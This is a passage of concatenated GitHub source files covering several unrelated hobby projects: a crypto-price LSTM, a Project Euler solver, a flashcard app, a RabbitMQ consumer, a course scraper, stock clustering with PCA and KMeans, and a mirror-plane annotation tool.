col in df.columns:\n if col!= 'target':\n df[col] = df[col].pct_change()\n df.dropna(inplace=True)\n df[col] = preprocessing.scale(df[col].values)\n df.dropna(inplace=True)\n\n sequential_data = []\n prev_days = deque(maxlen=SEQ_LEN)\n for i in df.values:\n prev_days.append([n for n in i[:-1]])#not take target\n if len(prev_days)==SEQ_LEN:\n sequential_data.append([np.array(prev_days), i[-1]])\n random.shuffle(sequential_data)\n buys = []\n sells = []\n\n for seq, target in sequential_data:\n if target == 0:\n sells.append([seq, target])\n elif target ==1:\n buys.append([seq, target])\n random.shuffle(buys)\n random.shuffle(sells)\n\n lower = min(len(buys), len(sells))\n\n buys = buys[:lower]\n sells = sells[:lower]\n\n sequential_data = buys+sells\n random.shuffle(sequential_data)\n\n X = []\n y = []\n\n for seq, target in sequential_data:\n X.append(seq)\n y.append(target)\n\n return np.array(X), y\n\n\nmain_df = pd.DataFrame()\n\nratios = ['BTC-USD', 'LTC-USD', 'ETH-USD', 'BCH-USD']\n\nfor ratio in ratios:\n dataset = f\"crypto_data/{ratio}.csv\"\n\n df = pd.read_csv(dataset, names=['time', 'low', 'high', 'open', 'close', 'volume'])\n df.rename(columns={'close': f'{ratio}_close', 'volume': f'{ratio}_volume'}, inplace=True)\n df.set_index('time', inplace=True)\n df = df[[f'{ratio}_close', f'{ratio}_volume']]\n if len(main_df)==0:\n main_df = df\n else:\n main_df = main_df.join(df)\n\nmain_df['future'] = main_df[f'{RATIO_TO_PREDICT}_close'].shift(-FUTURE_PERIOD_PREDICT)\nmain_df['target'] = list(map(classify, main_df[f'{RATIO_TO_PREDICT}_close'], main_df['future']))\nprint(main_df['target'].head())\n\ntimes = sorted(main_df.index.values)\nlast5pct = times[-int(0.05*len(times))]\n\nvalidation_main_df = main_df[(main_df.index >= last5pct)]\nmain_df = main_df[(main_df.index < last5pct)]\n\ntrain_x, train_y = preprocess_df(main_df)\nvalidation_x, validation_y = preprocess_df(validation_main_df)\nprint(len(train_x), len(validation_x))\n\nmodel = tf.keras.models.Sequential()\n\nmodel.add(tf.keras.layers.CuDNNLSTM(128, input_shape=(train_x.shape[1:]), return_sequences=True)) #i wanna sequences because there will be another LSTM\nmodel.add(tf.keras.layers.Dropout(0.2))\nmodel.add(tf.keras.layers.BatchNormalization())\n\nmodel.add(tf.keras.layers.CuDNNLSTM(128, input_shape=(train_x.shape[1:]), return_sequences=True)) #i wanna sequences because there will be another LSTM\nmodel.add(tf.keras.layers.Dropout(0.1))\nmodel.add(tf.keras.layers.BatchNormalization())\n\nmodel.add(tf.keras.layers.CuDNNLSTM(128, input_shape=(train_x.shape[1:])))\nmodel.add(tf.keras.layers.Dropout(0.2))\nmodel.add(tf.keras.layers.BatchNormalization())\n\nmodel.add(tf.keras.layers.Dense(32, activation='relu'))\nmodel.add(tf.keras.layers.Dropout(0.2))\n\nmodel.add(tf.keras.layers.Dense(2, activation='softmax'))\n\nopt = tf.keras.optimizers.Adam(lr=0.001, decay=1e-6)\nmodel.compile(optimizer=opt, loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n\ntf_board = tf.keras.callbacks.TensorBoard(log_dir=f'logs/{MODEL_NAME}')\n\nfilepath = 'RNN_Final-{epoch:02d}-{val_acc:.3f}'\ncheckpoint = tf.keras.callbacks.ModelCheckpoint('models/{}.model'.format(filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max'))\nhistory = model.fit(\n train_x,\n train_y,\n batch_size=BATCH_SZIE,\n validation_data=(validation_x, validation_y),\n callbacks=[tf_board, checkpoint],\n epochs=EPOCHS\n\n\n)\n\n","repo_name":"WookiePuti/ML_stuff","sub_path":"RNN_cryptocurency/RNN_currency.py","file_name":"RNN_currency.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23183313811","text":"'''\n\nConsider the isosceles triangle with base length, b = 16, and legs, L = 17.\n\n\nBy using the Pythagorean theorem it can be seen that the height of the triangle, h = √(172 − 82) = 15, \n\nwhich is one less than the base length.\n\nWith b = 272 and L = 305, we get h = 273, which is one more than the base length, \n\nand this is the second smallest isosceles triangle with the property that h = b ± 1.\n\nFind ∑ L for the twelve smallest isosceles triangles for which h = b ± 1 and b, L are positive integers.\n\n#----------------------------#\n\n欧拉项目138: 特殊等腰三角形\n\n考虑底为b = 16，腰为L = 17的等腰三角形。\n\n\n使用毕达哥拉斯定理，我们可以求出三角形的高是h = √(172 − 82) = 15，恰好比底长小1。\n\n当b = 272而L = 305时，可以算出h = 273，恰好比底长大1，而且这是满足性质h = b ± 1的三角形中第二小的。\n\n对于最小的12个满足h = b ± 1且b，L均为正整数的等腰三角形，求∑ L。\n\n\n\n'''\n\n\n\nimport time\nfrom termcolor import colored\nimport functools\n\n\n@functools.lru_cache(None)\ndef F(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return F(n-1) + F(n-2)\n\ndef main_process():\n index = 0\n mysum = 0\n for i in range(1, 13):\n i = 6 * i + 3\n index += 1\n print(index, F(i)/2)\n mysum += F(i)/2\n\n print(colored('mycount=', 'red'), mysum)\n # mycount= 1118049290473932\n\nif __name__ == \"__main__\":\n tic = time.process_time()\n \n main_process()\n\n toc = time.process_time()\n print(\"time=\",toc - tic)\n","repo_name":"greatabel/puzzle_I_cracked","sub_path":"3ProjectEuler/i126_150/i138special_isosceles_triangles.py","file_name":"i138special_isosceles_triangles.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"23388568799","text":"#使用装饰器完成不修改func1 func2的源码，添加输出日志信息\nimport time\ndef writeLog(func):\n try:\n file = open(\"log.txt\",\"a\",encoding=\"utf-8\")\n file.write(\"访问函数\")\n file.write(func.__name__)\n file.write(\"\\t\")\n file.write(\"时间 \")\n file.write(time.asctime())\n file.write(\"\\n\")\n\n except Exception as e:\n print(e.args)\n\n finally:\n file.close()\n\n#使用闭包实现对简单函数添加闭包\ndef outer(func):\n def inner():\n writeLog(func)\n func()\n return inner\n\n#为func1添加装饰器 构造闭包\n@outer\n#在解释执行的时候会发现有一个装饰器outer,那么python就会将func1作为函数outer\n#的参数传入 当调用func1的时候执行闭包功能 函数的执行顺序为 outer -> inner->\n# writeLog->func1\ndef func1():\n print(\"function1\")\n\n#为func2添加装饰器 构造闭包\n@outer\ndef func2():\n print(\"function2\")\n\n#闭包的使用\n'''\n实际上闭包是使用一条语句代替以下两条语句用的\nfunc1 = funcOut(func1)\nfunc1()\n'''\n\nfunc1()#这里已经作为闭包函数在使用了\nfunc2()#这里已经作为闭包函数在使用了","repo_name":"YingnanHan/Python-400-Series","sub_path":"Python 400 集/Chapter22 函数式编程和高阶函数/13.装饰器的基本使用.py","file_name":"13.装饰器的基本使用.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"zh","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"26290677985","text":"BACKGROUND_COLOR = \"#B1DDC6\"\nfrom tkinter import *\nimport pandas as pd\nimport random\ncurrent_card= {}\nto_learn={}\n\n\n#read from csv\ntry:\n data= pd.read_csv(\"data/words_to_learn.csv\")\nexcept FileNotFoundError:\n original_data= pd.read_csv(\"data/french_words.csv\")\n to_learn = original_data.to_dict(orient= \"records\")\nelse:\n to_learn= data.to_dict(orient= \"records\")\n\n\n\n\ndef refresh():\n global current_card, flip_timer\n window.after_cancel(flip_timer)\n current_card= random.choice(to_learn)\n current_card[\"French\"]\n canvas.itemconfig(card_title, text= \"French\", fill= \"Black\")\n canvas.itemconfig(card_word, text=current_card[\"French\"],fill= \"Black\")\n canvas.itemconfig(canvas_image, image=front_img)\n flip_timer= window.after(3000, func=flip_card)\n\n\n\n\n\n#change the canvas\n\ndef flip_card():\n canvas.itemconfig(canvas_image, image= back_img)\n canvas.itemconfig(card_title, text=\"English\", fill= \"White\")\n canvas.itemconfig(card_word, text= current_card[\"English\"], fill= \"White\")\n\n\ndef is_known():\n to_learn.remove(current_card)\n refresh()\n data = pd.DataFrame(to_learn)\n data.to_csv(\"data/words_to_learn.csv\", index= False)\n\n\n\nwindow = Tk()\nwindow.title= (\"Flash Card\")\nwindow.config(padx= 50, pady=50, bg=BACKGROUND_COLOR )\n\nflip_timer= window.after(3000, func= flip_card)\n\n#import logo\nback_img= PhotoImage(file= \"images/card_back.png\")\nfront_img= PhotoImage(file= \"images/card_front.png\")\nright_img= PhotoImage(file= \"images/right.png\")\nwrong_img= PhotoImage(file= \"images/wrong.png\")\ncanvas= Canvas(width= 800, height=526,bg =BACKGROUND_COLOR)\n# canvas.create_image(850,576,image= back_img)\ncanvas_image= canvas.create_image(400,263,image= front_img)\ncard_title= canvas.create_text(400, 150, font= (\"Ariel\", 40, \"bold\"))\ncard_word= canvas.create_text(400, 263, font= (\"Ariel\", 60, \"bold\"))\n\ncanvas.config(bg= BACKGROUND_COLOR,highlightthickness = 0)\ncanvas.grid(column= 0, row= 0, columnspan= 2)\n\n\n#Button\nunknow_button= Button(image= wrong_img,highlightthickness = 0, command= refresh)\nunknow_button.grid(column= 0,row= 1)\nyes_button= Button(image= right_img,highlightthickness = 0, command= is_known)\nyes_button.grid(column= 1,row= 1)\n\n\nrefresh()\n\n\n\n\n# canvas.create_text(400, 150, font=(\"Ariel\", 40, \"bold\"), fill= \"White\")\n# canvas.create_text(400, 263, font=(\"Ariel\", 40, \"bold\"), fill= \"White\")\n\n\n\nwindow.mainloop()","repo_name":"IreneTao/Flash_Card","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11617933193","text":"import pika, sys\n\n#credentials = pika.PlainCredentials('vitao', '12345')\n#parameters = pika.ConnectionParameters('192.168.0.110',5672,'/',credentials)\n#connection = pika.BlockingConnection(parameters)\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='direct_logs', exchange_type='direct')\n\nresult = channel.queue_declare(queue='', exclusive=True)\nqueue_name = result.method.queue\n\nassuntos = sys.argv[1:]\nif not assuntos:\n sys.stderr.write(\"Modo de usar: %s [esportes] [clima] [famosos] [geral]\\n\" % sys.argv[0])\n sys.exit(1)\n\nfor assunto in assuntos:\n channel.queue_bind(\n exchange='direct_logs', queue=queue_name, routing_key=assunto)\n\nprint(' [*] Esperando por conteúdo. Pressione CTRL+C para sair')\n\n\ndef callback(ch, method, properties, body):\n f = open(\"noticias.log\",\"a\")\n f.write(\" [x] %r:%r \\n\" % (method.routing_key, body))\n print(\" [x] %r:%r\" % (method.routing_key, body))\n f.close()\n\n\nchannel.basic_consume(\n queue=queue_name, on_message_callback=callback, auto_ack=True)\n\nchannel.start_consuming()","repo_name":"Yerao12/CodigosRabbitMQ","sub_path":"Publish-Subscribe/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73524061200","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport json\n\n# custom modules\nfrom login import login\nfrom departmentCourses import fetchDepartments\nfrom courseCategory import getCategories\nimport course\ndepartmentLinks = json.load(open('departmentLinks.json'))\n\n\n\npath='C:\\Program Files (x86)\\chromedriver.exe'\ndriver=webdriver.Chrome(path)\n\n\ndriver.implicitly_wait(10)\nlogin(driver)\n\n# fetchDepartments(driver)\ndepartment_abv={\n \"Aeronautical Engineering\":\"AERO\",\n \"Automobile Engineering\":\"AUTO\",\n \"Biomedical Engineering\":\"BIOMED\",\n \"Biotechnology\":\"BIOTECH\",\n \"Civil Engineering\":\"CIVIL\",\n \"Computer Science & Engineering\":\"CSE\",\n \"Electrical and Electronics Engineering\":\"EEE\",\n \"Electronics and Communication Engineering\":\"ECE\",\n \"Information Technology\":\"IT\",\n \"Mechanical Engineering\":\"MECH\",\n \"School of Sciences and Humanities\":\"ARTS\",\n \"Value Education Elective\":\"VEE\",\n \"School of Management\":\"MANAGEMENT\",\n \"School of Media Technology and Communication\":\"MASSCOMM\",\n}\n\n\n# # set link to the department whose course are to be scrapped\nfor x in departmentLinks:\n print(departmentLinks[x])\n driver.get(departmentLinks[x])\n driver.implicitly_wait(5)\n categories=getCategories(driver)\n print(categories)\n coursesData={}\n if(len(categories)==0):\n coursesData['VEE']=course.get_details(driver)\n for category in categories[:-1]:\n driver.get(category)\n cat_name=driver.title[driver.title.find(':')+2:]\n print(cat_name)\n coursesData[cat_name]=(course.get_details(driver))\n\n\n file=open(\"courseDetails/\"+department_abv[x]+\"CourseDetails.json\",'w')\n json.dump(coursesData,file,indent=4)\n \ndriver.close()","repo_name":"inuwyze/vlearnScraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23452803230","text":"\n# coding: utf-8\n\n# ## Problem 1: There are various stocks for which we have collected a data set, which all stocks are apparently similar in performance\n\n#

    Dataset Link https://drive.google.com/file/d/1pP0Rr83ri0voscgr95-YnVCBv6BYV22w/view

    \n\n# ### Importing Modules\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom sklearn.decomposition import PCA\nfrom sklearn.cluster import KMeans\nfrom datetime import datetime\n\n\n# ### Loading Data\n\n# In[2]:\n\n\n#Read CSV (comma-separated) file into DataFrame\ndata = pd.read_csv('data_stocks.csv')\n\n\n# ### Data Exploration\n\n# In[3]:\n\n\ndata.head() #Returns the first 5 rows of data dataframe\n\n\n# In[4]:\n\n\ndata.describe() #The summary statistics of the data dataframe\n\n\n# In[5]:\n\n\ndata.info() #Prints information about data DataFrame.\n\n\n# In[6]:\n\n\ndata.columns #Columns of data dataframe\n\n\n# In[7]:\n\n\ndata.shape #Return a tuple representing the dimensionality of data DataFrame.\n\n\n# In[8]:\n\n\ndata.isnull().values.any() #Check for any NA’s in the dataframe.\n\n\n# ### Data Visualization\n\n# #### Dropping DATE and SP500 columns ( For PCA and KMeans clustering )\n\n# In[9]:\n\n\ndata_new = data.copy() #Making a copy of the data dataframe\n\n\n# In[10]:\n\n\ndata_new.drop(['DATE', 'SP500'], axis=1, inplace = True) #Removing the Date and SP500 columns\n\n\n# In[11]:\n\n\ndata_new.head() #Returns the first 5 rows of data dataframe\n\n\n# In[12]:\n\n\ndata_new.shape #Return a tuple representing the dimensionality of data DataFrame.\n\n\n# In[13]:\n\n\ndata_new.columns #Return columns of data dataframe.\n\n\n# ### PCA\n\n# In[14]:\n\n\n#Creating an instance of PCA\npca = PCA(n_components=3)\n\n\n# In[15]:\n\n\n#Fitting the pca object\npca.fit(data_new)\n\n\n# In[16]:\n\n\n#Transforming the data_new dataframe\ndata_new_reduced = pca.transform(data_new)\n\n\n# In[17]:\n\n\ndata_new_reduced.shape #Return a tuple representing the dimensionality of data_new_reduced DataFrame.\n\n\n# In[18]:\n\n\ndata_new_reduced[:1].shape #Return a tuple representing the dimensionality of data_new_reduced dataframe's 1st row.\n\n\n# In[19]:\n\n\n#Scatter Plot\nplt.figure(figsize=(16,9))\nplt.scatter(data_new_reduced[:,0],data_new_reduced[:,1])\nplt.ylabel('PC1')\nplt.xlabel('PC2')\nplt.show()\n\n\n# ### KMeans Clustering\n\n# In[20]:\n\n\npca.explained_variance_ #Returns explained variance array\n\n\n# In[21]:\n\n\ndata_new_reduced #Transformed data_new dataframe\n\n\n# In[22]:\n\n\n#Finding k and intertia for KMeans clustering using elbow method\nk = []\ninertia = []\nfor i in range(1,20):\n k_means = KMeans(n_clusters = i)\n k_means.fit(data_new_reduced)\n k.append(i)\n inertia.append(k_means.inertia_)\n\n\n# In[23]:\n\n\ninertia #Inertia List Data\n\n\n# In[24]:\n\n\n#Plot to find number of clusters (Elbow Method)\nplt.figure(figsize=(16,9))\nplt.plot(k,inertia)\nplt.show()\n\n\n# In[25]:\n\n\n#Initializing and fitting KMeans\nkm = KMeans(n_clusters = 5)\nkm.fit(data_new)\n\n\n# In[26]:\n\n\n#Predicted values using KMeans\ny_predict = km.predict(data_new)\n\n\n# In[27]:\n\n\n#Scatter Plot\nx = data_new_reduced[:,0]\ny = data_new_reduced[:,1]\nplt.figure(figsize=(16,9))\nplt.scatter(x, y, c = y_predict, alpha=0.5)\nplt.show()\n\n\n# In[28]:\n\n\n#Adding 'Y_PREDICT' column in data_new dataframe\ndata_new['Y_PREDICT'] = y_predict\n\n\n# In[29]:\n\n\ndata_new.head() #Returns the first 5 rows of data_new dataframe\n\n\n# In[30]:\n\n\n#Returns 'Y_PREDICT' column containing counts of unique values in data_new dataframe.\ndata_new['Y_PREDICT'].value_counts()\n\n\n# ### Problem 1 \n\n# In[31]:\n\n\n#Read CSV (comma-separated) file into DataFrame\nstocks= pd.read_csv('data_stocks.csv')\n\n\n# In[32]:\n\n\nstocks.head() #Returns the first 5 rows of stocks dataframe\n\n\n# In[33]:\n\n\n#Adding a new column 'NEW_DATE' in stocks dataframe \nstocks['NEW_DATE'] = pd.to_datetime(stocks['DATE'],unit='s')\n\n\n# In[34]:\n\n\ncols = stocks.columns.tolist() #Creating a list of columns from stocks dataframe\n\n\n# In[35]:\n\n\ncols = cols[-1:] + cols[:-1] #Making 'NEW_DATE' as first column\n\n\n# In[36]:\n\n\ncols #cols list data\n\n\n# In[37]:\n\n\n#Removing 'DATE' and 'SP500' columns\ncols.remove('DATE')\ncols.remove('SP500')\n\n\n# In[38]:\n\n\ncols #cols list data\n\n\n# In[39]:\n\n\nstocks.drop(columns=['DATE','SP500'],axis=1,inplace=True) #Removing 'DATE' and 'SP500' from stocks dataframe\n\n\n# In[40]:\n\n\nstocks.head() #Returns the first 5 rows of stocks dataframe\n\n\n# In[41]:\n\n\ndf = stocks[cols] #Creating a df objects which has cols list column data from stocks dataframe\n\n\n# In[42]:\n\n\ndf.head() #Returns the first 5 rows of df dataframe\n\n\n# In[43]:\n\n\ndf.shape #Return a tuple representing the dimensionality of df DataFrame.\n\n\n# In[44]:\n\n\n#Setting NEW_DATE as index \ndf.set_index('NEW_DATE',inplace=True)\n\n\n# In[45]:\n\n\ndf.head() #Returns the first 5 rows of df dataframe\n\n\n# In[46]:\n\n\ndf_transpose = df.transpose() #Creating transpose of the df dataframe\n\n\n# In[47]:\n\n\ndf_transpose.head() #Returns the first 5 rows of df_transpose dataframe\n\n\n# In[48]:\n\n\n#Creating an instance of PCA\npca_new = PCA(n_components=3)\n\n\n# In[49]:\n\n\n#Fitting and tranforming the df_transpose dataframe\ndf_transpose_reduced = pca_new.fit_transform(df_transpose)\n\n\n# In[50]:\n\n\ndf_transpose_reduced.shape #Return a tuple representing the dimensionality of df_transpose_reduced DataFrame.\n\n\n# In[51]:\n\n\n#Scatter Plot\nplt.figure(figsize=(16,9))\nplt.scatter(df_transpose_reduced[:,0],df_transpose_reduced[:,1])\nplt.ylabel('PC1')\nplt.xlabel('PC2')\nplt.show()\n\n\n# In[52]:\n\n\n#Returns explained variance array\npca_new.explained_variance_\n\n\n# In[53]:\n\n\n#Finding k_new and intertia_new list data for KMeans clustering using elbow method\nk_new = []\ninertia_new = []\nfor i in range(2,10):\n km_new=KMeans(n_clusters=i)\n km_new.fit(df_transpose)\n k_new.append(i)\n inertia_new.append(km_new.inertia_)\n\n\n# In[54]:\n\n\ninertia_new #inertia_new list data\n\n\n# In[55]:\n\n\n#Plot to find number of clusters (Elbow Method)\nplt.figure(figsize=(16,9))\nplt.plot(k_new,inertia_new)\nplt.show()\n\n\n# In[56]:\n\n\n#Initializing and fitting KMeans\nkm = KMeans(n_clusters = 6)\nkm.fit(df_transpose)\n\n\n# In[57]:\n\n\n#Predicted values using KMeans\ny_predict_new = km.predict(df_transpose)\n\n\n# In[58]:\n\n\n#Scatter Plot\nplt.figure(figsize=(16,9))\nplt.scatter(df_transpose_reduced[:,0],df_transpose_reduced[:,1],c=y_predict_new)\nplt.show()\n\n\n# In[59]:\n\n\n#Adding 'y_predict_new' values in df_transpose dataframe creating 'Y_PREDICT' column\ndf_transpose['Y_PREDICT'] = y_predict_new\n\n\n# In[60]:\n\n\n#Returns 'Y_PREDICT' column containing counts of unique values in df_transpose dataframe.\ndf_transpose['Y_PREDICT'].value_counts()\n\n\n# In[61]:\n\n\ndf_transpose.head() #Returns the first 5 rows of df_transpose dataframe\n\n\n# In[62]:\n\n\n#Apparently similar performing stocks of Type-1 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==0]\n\n\n# In[63]:\n\n\n#Apparently similar performing stocks of Type-2 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==1]\n\n\n# In[64]:\n\n\n#Apparently similar performing stocks of Type-3 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==2]\n\n\n# In[65]:\n\n\n#Apparently similar performing stocks of Type-4 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==3]\n\n\n# In[66]:\n\n\n#Apparently similar performing stocks of Type-5 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==4]\n\n\n# In[67]:\n\n\n#Apparently similar performing stocks of Type-6 are following:\ndf_transpose.loc[df_transpose['Y_PREDICT']==5]\n\n\n# ## Problem 2:\n# ### How many Unique patterns that exist in the historical stock data set, based on fluctuations in price.\n\n# In[68]:\n\n\n#There are 5 unique patterns that exists in historical stock data set, based on fluctuation in price ( Observed Using KMeans Clustering Elbow Method )\n#Pattern-1 stocks (based on fluctuations in price):\ndata_new.loc[data_new['Y_PREDICT']==0]\n\n\n# In[69]:\n\n\n#Pattern-2 stocks (based on fluctuations in price):\ndata_new.loc[data_new['Y_PREDICT']==1]\n\n\n# In[70]:\n\n\n#Pattern-3 stocks (based on fluctuations in price):\ndata_new.loc[data_new['Y_PREDICT']==2]\n\n\n# In[71]:\n\n\n#Pattern-4 stocks (based on fluctuations in price):\ndata_new.loc[data_new['Y_PREDICT']==3]\n\n\n# In[72]:\n\n\n#Pattern-5 stocks (based on fluctuations in price):\ndata_new.loc[data_new['Y_PREDICT']==4]\n\n\n# # Problem 3:\n\n# ### Identify which all stocks are moving together and which all stocks are different from each other.\n\n# In[73]:\n\n\ndf_new = pd.read_csv('data_stocks.csv') #Read CSV (comma-separated) file into DataFrame\n\n\n# In[74]:\n\n\ndf_new.head() #Returns the first 5 rows of df_new dataframe\n\n\n# In[75]:\n\n\ndf_new.shape #Returns a tuple representing the dimensionality of df_new dataframe.\n\n\n# In[76]:\n\n\n#Removing 'DATE' and 'SP500' columns from df_new dataframe\ndf_new.drop(columns=['DATE','SP500'],inplace=True,axis=1)\n\n\n# In[77]:\n\n\n#Listing all the df_new dataframe columns\ncategory_cols = df_new.columns\n\n\n# In[78]:\n\n\n#Creating the columns with the difference of the previous row \nfor cat in category_cols:\n df_new[\"DIFF_\"+ cat] = df_new[cat] - df_new[cat].shift(periods=1)\n\n\n# In[79]:\n\n\ndf_new.shape #Returns a tuple representing the dimensionality of df_new dataframe.\n\n\n# In[80]:\n\n\ndf_new.drop(category_cols,axis=1,inplace=True) #Removing the category_cols list columns from df_new dataframe\n\n\n# In[81]:\n\n\ndf_new.shape #Returns a tuple representing the dimensionality of df_new dataframe.\n\n\n# In[82]:\n\n\ndf_new.head() #Returns the first 5 rows of df_new dataframe\n\n\n# In[83]:\n\n\n#Removing the rows which containd NaN\ndf_new.dropna(inplace=True)\n\n\n# In[84]:\n\n\ndf_new.head() #Returns the first 5 rows of df_new dataframe\n\n\n# In[85]:\n\n\ndf_new_corr = df_new.corr() #Computes pairwise correlation of columns of df_new dataframe\n\n\n# In[86]:\n\n\ndf_new_corr #Pairwise correlation dataframe of columns of df_new dataframe\n\n","repo_name":"mayurmorin/stocks-k-MEANS-PCA","sub_path":"Project - 4.py","file_name":"Project - 4.py","file_ext":"py","file_size_in_byte":9670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"2967170264","text":"import csv\nimport os\nimport pickle\nfrom collections import defaultdict\n\n\ndef load_msu_to_entrez(msu_to_entrez_dict, id_file):\n with open(id_file) as f:\n csv_reader = csv.reader(f, delimiter=',')\n next(csv_reader) # Skip header\n for line in csv_reader:\n msu = line[-1]\n entrez = line[1]\n\n if msu != '-':\n msu_to_entrez_dict[msu].add(entrez)\n\n print(\"Finished mapping MSU accessions to Entrez IDs\")\n\n\ndef save_msu_entrez_mapping(msu_to_entrez_dict, output_dir):\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n with open(f'{output_dir}/msu-to-entrez-id.pickle', 'wb') as handle:\n pickle.dump(msu_to_entrez_dict, handle,\n protocol=pickle.HIGHEST_PROTOCOL)\n\n print(f'Generated {output_dir}/msu-to-entrez-id.pickle')\n\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n 'msu_to_entrez_file', help='text file mapping MSU accessions to Entrez IDs')\n parser.add_argument(\n 'output_dir', help='output directory for the pickled dictionary mapping MSU accessions to their respective Entrez IDs')\n\n args = parser.parse_args()\n\n msu_to_entrez_dict = defaultdict(set)\n load_msu_to_entrez(msu_to_entrez_dict, args.msu_to_entrez_file)\n save_msu_entrez_mapping(msu_to_entrez_dict, args.output_dir)\n","repo_name":"bioinfodlsu/rice-pilaf","sub_path":"prepare_data/workflow/scripts/enrichment_analysis/util/msu-to-entrez-id.py","file_name":"msu-to-entrez-id.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17857280501","text":"import numpy as np\nimport cv2\nimport argparse\nimport os\nimport matplotlib.pyplot as plt\nimport random\nimport time\nimport bs4\nfrom skimage import io\nfrom mirror3d.utils.general_utils import *\nfrom mirror3d.utils.algorithm import *\nfrom mirror3d.utils.plane_pcd_utils import *\nfrom PIL import ImageColor\n\n\nclass PlaneAnnotationTool:\n def __init__(self, process_index=0, multi_processing=False, overwrite=True):\n self.process_index = process_index\n self.multi_processing = multi_processing\n self.overwrite = overwrite\n\n def get_list_to_process(self, full_list):\n full_list.sort()\n if self.multi_processing:\n return full_list[self.process_index:self.process_index + 1]\n else:\n return full_list\n\n def set_show_plane(self, show_plane):\n \"\"\"\n For plane annotation: show the mesh plane during annotation or not\n Suggest to show the mesh plane if computer allows\n \"\"\"\n self.show_plane = show_plane\n\n def gen_color_mask_from_int_mask(self, int_mask_color_mask_txt):\n random.seed(5)\n rand = lambda: random.randint(100, 255)\n bgr_color_list = []\n for i in range(100):\n bgr_color_list.append([rand(), rand(), rand()])\n process_list = self.get_list_to_process(read_txt(int_mask_color_mask_txt))\n for item in process_list:\n if len(item.strip().split()) == 2:\n int_mask_path, color_mask_output_path = item.strip().split()\n os.makedirs(os.path.split(color_mask_output_path)[0], exist_ok=True)\n int_mask = cv2.imread(int_mask_path, cv2.IMREAD_ANYDEPTH)\n height, width = int_mask.shape\n color_mask = np.zeros((height, width, 3))\n for id in np.unique(int_mask):\n if id == 0:\n continue # background\n color_mask[np.where(int_mask == id)] = bgr_color_list[\n id - 1] # instance id in int_mask start from 1\n cv2.imwrite(color_mask_output_path, color_mask)\n print(\"RGB instance mask saved to :\", color_mask_output_path)\n\n def gen_int_mask_color_mask(self, coco_json, filename_int_mask_color_mask_txt, coco_filename_tag=\"file_name\"):\n from pycocotools.coco import COCO\n random.seed(5)\n rand = lambda: random.randint(100, 255)\n bgr_color_list = []\n for i in range(100):\n bgr_color_list.append([rand(), rand(), rand()])\n # Get filename int_mask_output_path, color_mask_output_path dict()\n filename_int_mask_color_mask_list = read_txt(filename_int_mask_color_mask_txt)\n color_output_paths = dict()\n for item in filename_int_mask_color_mask_list:\n if len(item.strip().split()) == 3:\n color_name, int_mask_output_path, color_mask_output_path = item.strip().split()\n color_output_paths[color_name] = [int_mask_output_path, color_mask_output_path]\n\n to_gen_list = [i[coco_filename_tag] for i in read_json(coco_json)[\"images\"]]\n to_gen_list = self.get_list_to_process(to_gen_list)\n\n coco = COCO(coco_json)\n for index in range(len(coco.imgs)):\n img_id = index + 1 # coco image id start from 1\n ann_ids = coco.getAnnIds(imgIds=img_id)\n anns = coco.loadAnns(ann_ids)\n img_info = coco.loadImgs(img_id)[0]\n int_mask_output_path, color_mask_output_path = color_output_paths[img_info[coco_filename_tag]]\n os.makedirs(os.path.split(int_mask_output_path)[0], exist_ok=True)\n os.makedirs(os.path.split(color_mask_output_path)[0], exist_ok=True)\n int_mask = np.zeros((img_info['height'], img_info['width']))\n color_mask = np.zeros((img_info['height'], img_info['width'], 3))\n for i, ann in enumerate(anns):\n int_mask = coco.annToMask(ann)\n int_mask += (int_mask * (i + 1)) # instance id in int_mask start from 1\n color_mask[np.where(int_mask != 0)] = bgr_color_list[i]\n cv2.imwrite(int_mask_output_path, int_mask.astype(np.uint16))\n cv2.imwrite(color_mask_output_path, color_mask)\n\n def update_plane_info_from_depth(self, mask_depth_jsonpath_txt):\n process_list = self.get_list_to_process(read_txt(mask_depth_jsonpath_txt))\n for item in process_list:\n if len(item.strip().split()) == 4:\n mask_path, depth_path, json_save_path, f = item.strip().split()\n f = self.get_and_check_focal_length(f, item)\n mask = cv2.imread(mask_path, cv2.IMREAD_ANYDEPTH)\n img_info = []\n for instance_index in np.unique(mask):\n if instance_index == 0:\n continue\n binary_instance_mask = (mask == instance_index).astype(np.uint8)\n mirror_points = (get_points_in_mask(f, depth_path, mirror_mask=binary_instance_mask))\n plane_parameter = 